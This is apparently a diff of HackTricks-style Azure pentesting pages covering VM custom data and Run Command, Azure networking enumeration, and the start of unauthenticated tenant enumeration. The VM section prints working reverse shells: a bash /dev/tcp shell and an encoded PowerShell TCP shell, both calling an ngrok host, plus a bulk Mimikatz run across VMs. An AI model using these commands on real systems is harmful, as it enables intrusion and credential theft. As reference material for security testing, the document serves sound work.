- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
|
||||
- **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
|
||||
- I tried that both Ubuntu and Debian execute the script you put here.
|
||||
- It's also not needed to enable user data for this to be executed.
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
|
||||
### **Run Command**
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
## Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
|
||||
# The content of
|
||||
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
|
||||
|
||||
# Try to run in every machine
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../../az-persistence/az-vms-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
|
||||
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,464 @@
|
||||
# Az - Azure Network
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure provides **virtual networks (VNet)** that allows users to create **isolated** **networks** within the Azure cloud. Within these VNets, resources such as virtual machines, applications, databases... can be securely hosted and managed. The networking in Azure supports both the communication within the cloud (between Azure services) and the connection to external networks and the internet.\
|
||||
Moreover, it's possible to **connect** VNets with other VNets and with on-premise networks.
|
||||
|
||||
## Virtual Network (VNET) & Subnets
|
||||
|
||||
An Azure Virtual Network (VNet) is a representation of your own network in the cloud, providing **logical isolation** within the Azure environment dedicated to your subscription. VNets allow you to provision and manage virtual private networks (VPNs) in Azure, hosting resources like Virtual Machines (VMs), databases, and application services. They offer **full control over network settings**, including IP address ranges, subnet creation, route tables, and network gateways.
|
||||
|
||||
**Subnets** are subdivisions within a VNet, defined by specific **IP address ranges**. By segmenting a VNet into multiple subnets, you can organize and secure resources according to your network architecture.\
|
||||
By default all subnets within the same Azure Virtual Network (VNet) **can communicate with each other** without any restrictions.
|
||||
|
||||
**Example:**
|
||||
|
||||
- `MyVNet` with an IP address range of 10.0.0.0/16.
|
||||
- **Subnet-1:** 10.0.0.0/24 for web servers.
|
||||
- **Subnet-2:** 10.0.1.0/24 for database servers.
|
||||
|
||||
### Enumeration
|
||||
|
||||
To list all the VNets and subnets in an Azure account, you can use the Azure Command-Line Interface (CLI). Here are the steps:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VNets
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
|
||||
|
||||
# List subnets of a VNet
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VNets
|
||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||
|
||||
# List subnets of a VNet
|
||||
Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> |
|
||||
Select-Object -ExpandProperty Subnets |
|
||||
Select-Object Name, AddressPrefix
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Network Security Groups (NSG)
|
||||
|
||||
A **Network Security Group (NSG)** filters network traffic both to and from Azure resources within an Azure Virtual Network (VNet). It houses a set of **security rules** that can indicate **which ports to open for inbound and outbound traffic** by source port, source IP, port destination and it's possible to assign a priority (the lower the priority number, the higher the priority).
|
||||
|
||||
NSGs can be associated to **subnets and NICs.**
|
||||
|
||||
**Rules example:**
|
||||
|
||||
- An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
|
||||
- An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List NSGs
|
||||
az network nsg list --query "[].{name:name, location:location}" -o table
|
||||
az network nsg show --name <nsg-name>
|
||||
|
||||
# Get NSG rules
|
||||
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
|
||||
|
||||
# Get NICs and subnets using this NSG
|
||||
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List NSGs
|
||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Get NSG rules
|
||||
(Get-AzNetworkSecurityGroup -ResourceGroupName <NSGName> -Name <ResourceGroupName>).SecurityRules
|
||||
|
||||
# Get NICs and subnets using this NSG
|
||||
(Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall is a **managed network security service** in Azure that protects cloud resources by inspecting and controlling traffic. It is a **stateful firewall** that filters traffic based on rules for Layers 3 to 7, supporting communication both **within Azure** (east-west traffic) and **to/from external networks** (north-south traffic). Deployed at the **Virtual Network (VNet) level**, it provides centralized protection for all subnets in the VNet. Azure Firewall automatically scales to handle traffic demands and ensures high availability without requiring manual setup.
|
||||
|
||||
It is available in three SKUs—**Basic**, **Standard**, and **Premium**, each tailored for specific customer needs:
|
||||
|
||||
| **Recommended Use Case** | Small/Medium Businesses (SMBs) with limited needs | General enterprise use, Layer 3–7 filtering | Highly sensitive environments (e.g., payment processing) |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Performance** | Up to 250 Mbps throughput | Up to 30 Gbps throughput | Up to 100 Gbps throughput |
|
||||
| **Threat Intelligence** | Alerts only | Alerts and blocking (malicious IPs/domains) | Alerts and blocking (advanced threat intelligence) |
|
||||
| **L3–L7 Filtering** | Basic filtering | Stateful filtering across protocols | Stateful filtering with advanced inspection |
|
||||
| **Advanced Threat Protection** | Not available | Threat intelligence-based filtering | Includes Intrusion Detection and Prevention System (IDPS) |
|
||||
| **TLS Inspection** | Not available | Not available | Supports inbound/outbound TLS termination |
|
||||
| **Availability** | Fixed backend (2 VMs) | Autoscaling | Autoscaling |
|
||||
| **Ease of Management** | Basic controls | Managed via Firewall Manager | Managed via Firewall Manager |
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Firewalls
|
||||
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
|
||||
|
||||
# Get network rules of a firewall
|
||||
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
|
||||
# Get application rules of a firewall
|
||||
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
|
||||
# Get nat rules of a firewall
|
||||
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Firewalls
|
||||
Get-AzFirewall
|
||||
|
||||
# Get network rules of a firewall
|
||||
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NetworkRuleCollections
|
||||
|
||||
# Get application rules of a firewall
|
||||
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).ApplicationRuleCollections
|
||||
|
||||
# Get nat rules of a firewall
|
||||
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NatRuleCollections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Route Tables
|
||||
|
||||
Azure **Route Tables** are used to control the routing of network traffic within a subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
|
||||
|
||||
**Example:** If a subnet hosts resources that need to route outbound traffic through a Network Virtual Appliance (NVA) for inspection, you can create a **route** in a route table to redirect all traffic (e.g., `0.0.0.0/0`) to the NVA's private IP address as the next hop.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Route Tables
|
||||
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
|
||||
# List routes for a table
|
||||
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Route Tables
|
||||
Get-AzRouteTable
|
||||
|
||||
# List routes for a table
|
||||
(Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Private Link
|
||||
|
||||
Azure Private Link is a service in Azure that **enables private access to Azure services** by ensuring that **traffic between your Azure virtual network (VNet) and the service travels entirely within Microsoft's Azure backbone network**. It effectively brings the service into your VNet. This setup enhances security by not exposing the data to the public internet.
|
||||
|
||||
Private Link can be used with various Azure services, like Azure Storage, Azure SQL Database, and custom services shared via Private Link. It provides a secure way to consume services from within your own VNet or even from different Azure subscriptions.
|
||||
|
||||
> [!CAUTION]
|
||||
> NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
|
||||
|
||||
**Example:**
|
||||
|
||||
Consider a scenario where you have an **Azure SQL Database that you want to access securely from your VNet**. Normally, this might involve traversing the public internet. With Private Link, you can create a **private endpoint in your VNet** that connects directly to the Azure SQL Database service. This endpoint makes the database appear as though it's part of your own VNet, accessible via a private IP address, thus ensuring secure and private access.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Private Link Services
|
||||
az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
|
||||
# List Private Endpoints
|
||||
az network private-endpoint list --query "[].{name:name, location:location, resourceGroup:resourceGroup, privateLinkServiceConnections:privateLinkServiceConnections}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Private Link Services
|
||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
|
||||
# List Private Endpoints
|
||||
Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, PrivateEndpointConnections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Service Endpoints
|
||||
|
||||
Azure Service Endpoints extend your virtual network private address space and the identity of your VNet to Azure services over a direct connection. By enabling service endpoints, **resources in your VNet can securely connect to Azure services**, like Azure Storage and Azure SQL Database, using Azure's backbone network. This ensures that the **traffic from the VNet to the Azure service stays within the Azure network**, providing a more secure and reliable path.
|
||||
|
||||
**Example:**
|
||||
|
||||
For instance, an **Azure Storage** account by default is accessible over the public internet. By enabling a **service endpoint for Azure Storage within your VNet**, you can ensure that only traffic from your VNet can access the storage account. The storage account firewall can then be configured to accept traffic only from your VNet.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Virtual Networks with Service Endpoints
|
||||
az network vnet list --query "[].{name:name, location:location, serviceEndpoints:serviceEndpoints}" -o table
|
||||
|
||||
# List Subnets with Service Endpoints
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, serviceEndpoints:serviceEndpoints}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Virtual Networks with Service Endpoints
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
# List Subnets with Service Endpoints
|
||||
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Differences Between Service Endpoints and Private Links
|
||||
|
||||
Microsoft recommends using Private Links in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
|
||||
|
||||
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Service Endpoints:**
|
||||
|
||||
- Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
|
||||
- The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
|
||||
- The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
|
||||
- It's a one-to-one relationship between the subnet and the Azure service.
|
||||
- Less expensive than Private Links.
|
||||
|
||||
**Private Links:**
|
||||
|
||||
- Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
|
||||
- The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
|
||||
- Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
|
||||
- It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
|
||||
- It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
|
||||
|
||||
In summary, while both Service Endpoints and Private Links provide secure connectivity to Azure services, **Private Links offer a higher level of isolation and security by ensuring that services are accessed privately without exposing them to the public internet**. Service Endpoints, on the other hand, are easier to set up for general cases where simple, secure access to Azure services is required without the need for a private IP in the VNet.
|
||||
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** is a scalable and secure entry point for **fast delivery** of your global web applications. It **combines** various services like global **load balancing, site acceleration, SSL offloading, and Web Application Firewall (WAF)** capabilities into a single service. Azure Front Door provides intelligent routing based on the **closest edge location to the user**, ensuring optimal performance and reliability. Additionally, it offers URL-based routing, multiple-site hosting, session affinity, and application layer security.
|
||||
|
||||
**Azure Front Door WAF** is designed to **protect web applications from web-based attacks** without modification to back-end code. It includes custom rules and managed rule sets to protect against threats such as SQL injection, cross-site scripting, and other common attacks.
|
||||
|
||||
**Example:**
|
||||
|
||||
Imagine you have a globally distributed application with users all around the world. You can use Azure Front Door to **route user requests to the nearest regional data center** hosting your application, thus reducing latency, improving user experience and **defending it from web attacks with the WAF capabilities**. If a particular region experiences downtime, Azure Front Door can automatically reroute traffic to the next best location, ensuring high availability.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Front Door Instances
|
||||
az network front-door list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
|
||||
# List Front Door WAF Policies
|
||||
az network front-door waf-policy list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Front Door Instances
|
||||
Get-AzFrontDoor
|
||||
|
||||
# List Front Door WAF Policies
|
||||
Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Application Gateway and Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway is a **web traffic load balancer** that enables you to manage traffic to your **web** applications. It offers **Layer 7 load balancing, SSL termination, and web application firewall (WAF) capabilities** in the Application Delivery Controller (ADC) as a service. Key features include URL-based routing, cookie-based session affinity, and secure sockets layer (SSL) offloading, which are crucial for applications that require complex load-balancing capabilities like global routing and path-based routing.
|
||||
|
||||
**Example:**
|
||||
|
||||
Consider a scenario where you have an e-commerce website that includes multiple subdomains for different functions, such as user accounts and payment processing. Azure Application Gateway can **route traffic to the appropriate web servers based on the URL path**. For example, traffic to `example.com/accounts` could be directed to the user accounts service, and traffic to `example.com/pay` could be directed to the payment processing service.\
|
||||
And **protect your website from attacks using the WAF capabilities.**
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
az network application-gateway waf-config list --gateway-name <AppGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, firewallMode:firewallMode, ruleSetType:ruleSetType, ruleSetVersion:ruleSetVersion}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Hub, Spoke & VNet Peering
|
||||
|
||||
**VNet Peering** is a networking feature in Azure that **allows different Virtual Networks (VNets) to be connected directly and seamlessly**. Through VNet peering, resources in one VNet can communicate with resources in another VNet using private IP addresses, **as if they were in the same network**.\
|
||||
**VNet Peering can also used with a on-prem networks** by setting up a site-to-site VPN or Azure ExpressRoute.
|
||||
|
||||
**Azure Hub and Spoke** is a network topology used in Azure to manage and organize network traffic. **The "hub" is a central point that controls and routes traffic between different "spokes"**. The hub typically contains shared services such as network virtual appliances (NVAs), Azure VPN Gateway, Azure Firewall, or Azure Bastion. The **"spokes" are VNets that host workloads and connect to the hub using VNet peering**, allowing them to leverage the shared services within the hub. This model promotes clean network layout, reducing complexity by centralizing common services that multiple workloads across different VNets can use.
|
||||
|
||||
> [!CAUTION] > **VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
|
||||
|
||||
**Example:**
|
||||
|
||||
Imagine a company with separate departments like Sales, HR, and Development, **each with its own VNet (the spokes)**. These VNets **require access to shared resources** like a central database, a firewall, and an internet gateway, which are all located in **another VNet (the hub)**. By using the Hub and Spoke model, each department can **securely connect to the shared resources through the hub VNet without exposing those resources to the public internet** or creating a complex network structure with numerous connections.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all VNets in your subscription
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" -o table
|
||||
|
||||
# List VNet peering connections for a given VNet
|
||||
az network vnet peering list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, peeringState:peeringState, remoteVnetId:remoteVnetId}" -o table
|
||||
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
az network firewall list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
# List VNet peering connections for a given VNet
|
||||
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings
|
||||
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
Get-AzFirewall
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Site-to-Site VPN
|
||||
|
||||
A Site-to-Site VPN in Azure allows you to **connect your on-premises network to your Azure Virtual Network (VNet)**, enabling resources such as VMs within Azure to appear as if they are on your local network. This connection is established through a **VPN gateway that encrypts traffic** between the two networks.
|
||||
|
||||
**Example:**
|
||||
|
||||
A business with its main office located in New York has an on-premises data center that needs to connect securely to its VNet in Azure, which hosts its virtualized workloads. By setting up a **Site-to-Site VPN, the company can ensure encrypted connectivity between the on-premises servers and the Azure VMs**, allowing for resources to be accessed securely across both environments as if they were in the same local network.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VPN Gateways
|
||||
az network vnet-gateway list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
|
||||
# List VPN Connections
|
||||
az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, connectionType:connectionType, connectionStatus:connectionStatus}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# List VPN Connections
|
||||
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Azure ExpressRoute is a service that provides a **private, dedicated, high-speed connection between your on-premises infrastructure and Azure data centers**. This connection is made through a connectivity provider, bypassing the public internet and offering more reliability, faster speeds, lower latencies, and higher security than typical internet connections.
|
||||
|
||||
**Example:**
|
||||
|
||||
A multinational corporation requires a **consistent and reliable connection to its Azure services due to the high volume of data** and the need for high throughput. The company opts for Azure ExpressRoute to directly connect its on-premises data center to Azure, facilitating large-scale data transfers, such as daily backups and real-time data analytics, with enhanced privacy and speed.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List ExpressRoute Circuits
|
||||
az network express-route list --query "[].{name:name, location:location, resourceGroup:resourceGroup, serviceProviderName:serviceProviderName, peeringLocation:peeringLocation}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+248
@@ -0,0 +1,248 @@
|
||||
# Az - Unauthenticated Enum & Initial Entry
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Tenant
|
||||
|
||||
### Tenant Enumeration
|
||||
|
||||
There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it.\
|
||||
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
|
||||
| API | Information | AADInternals function |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Login information**, including tenant ID | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **All domains** of the tenant | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
